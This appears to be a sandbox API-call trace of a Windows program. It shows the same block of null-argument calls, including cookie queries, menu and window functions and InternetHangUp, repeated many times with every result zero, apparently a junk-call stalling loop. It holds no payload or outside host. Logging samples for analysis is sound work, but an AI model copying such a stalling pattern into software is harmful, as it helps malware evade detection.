	[0078.971] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.971] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.971] GetMenuCheckMarkDimensions () returned 983055
	[0078.971] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.971] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.971] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.971] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.971] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.971] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.971] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.971] GetMenuCheckMarkDimensions () returned 983055
	[0078.971] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.971] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.971] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.971] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.971] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.971] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.971] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.971] GetMenuCheckMarkDimensions () returned 983055
	[0078.971] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.971] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.971] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.971] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.971] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.972] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.972] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.972] GetMenuCheckMarkDimensions () returned 983055
	[0078.972] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.972] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.972] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.972] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.972] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.972] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.972] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.972] GetMenuCheckMarkDimensions () returned 983055
	[0078.972] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.972] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.972] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.972] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.972] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.972] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.972] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.972] GetMenuCheckMarkDimensions () returned 983055
	[0078.972] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.972] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.972] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.972] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.972] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.972] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.972] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.972] GetMenuCheckMarkDimensions () returned 983055
	[0078.972] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.972] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.972] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.972] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.972] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.972] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.972] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.972] GetMenuCheckMarkDimensions () returned 983055
	[0078.972] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.973] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.973] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.973] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.973] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.973] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.973] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.973] GetMenuCheckMarkDimensions () returned 983055
	[0078.973] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.973] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.973] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.973] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.973] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.973] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.973] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.973] GetMenuCheckMarkDimensions () returned 983055
	[0078.973] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.973] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.973] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.973] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.973] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.973] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.973] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.973] GetMenuCheckMarkDimensions () returned 983055
	[0078.973] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.973] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.973] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.973] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.973] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.973] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.973] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.973] GetMenuCheckMarkDimensions () returned 983055
	[0078.973] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.973] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.973] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.973] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.973] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.974] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.974] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.974] GetMenuCheckMarkDimensions () returned 983055
	[0078.974] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.974] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.974] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.974] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.974] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.974] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.974] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.974] GetMenuCheckMarkDimensions () returned 983055
	[0078.974] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.974] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.974] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.974] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.974] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.974] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.974] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.974] GetMenuCheckMarkDimensions () returned 983055
	[0078.974] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.974] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.974] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.974] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.974] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.974] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.974] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.974] GetMenuCheckMarkDimensions () returned 983055
	[0078.974] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.974] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.974] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.974] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.974] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.974] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.974] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.974] GetMenuCheckMarkDimensions () returned 983055
	[0078.974] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.975] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.975] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.975] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.975] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.975] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.975] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.975] GetMenuCheckMarkDimensions () returned 983055
	[0078.975] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.975] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.975] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.975] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.975] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.975] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.975] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.975] GetMenuCheckMarkDimensions () returned 983055
	[0078.975] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.975] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.975] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.975] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.975] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.975] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.975] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.975] GetMenuCheckMarkDimensions () returned 983055
	[0078.975] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.975] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.975] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.975] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.975] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.975] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.975] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.975] GetMenuCheckMarkDimensions () returned 983055
	[0078.975] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.975] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.975] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.975] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.976] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.976] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.976] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.976] GetMenuCheckMarkDimensions () returned 983055
	[0078.976] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.976] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.976] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.976] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.976] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.976] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.976] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.976] GetMenuCheckMarkDimensions () returned 983055
	[0078.976] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.976] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.976] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.976] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.976] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.976] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.976] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.976] GetMenuCheckMarkDimensions () returned 983055
	[0078.976] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.976] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.976] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.976] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.976] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.976] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.976] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.976] GetMenuCheckMarkDimensions () returned 983055
	[0078.976] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.976] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.976] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.976] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.976] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.976] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.976] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.976] GetMenuCheckMarkDimensions () returned 983055
	[0078.976] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.977] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.977] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.977] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.977] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.977] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.977] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.977] GetMenuCheckMarkDimensions () returned 983055
	[0078.977] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.977] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.977] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.977] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.977] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.977] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0078.977] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0078.977] GetMenuCheckMarkDimensions () returned 983055
	[0078.977] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0078.977] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0078.977] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0078.977] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0078.977] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0078.977] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.069] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.069] GetMenuCheckMarkDimensions () returned 983055
	[0079.069] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.070] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.070] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.070] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.070] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.070] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.070] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.070] GetMenuCheckMarkDimensions () returned 983055
	[0079.070] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.070] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.070] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.070] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.070] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.070] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.070] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.070] GetMenuCheckMarkDimensions () returned 983055
	[0079.070] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.070] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.070] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.070] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.070] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.070] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.070] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.070] GetMenuCheckMarkDimensions () returned 983055
	[0079.070] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.070] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.070] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.070] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.070] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.070] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.070] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.070] GetMenuCheckMarkDimensions () returned 983055
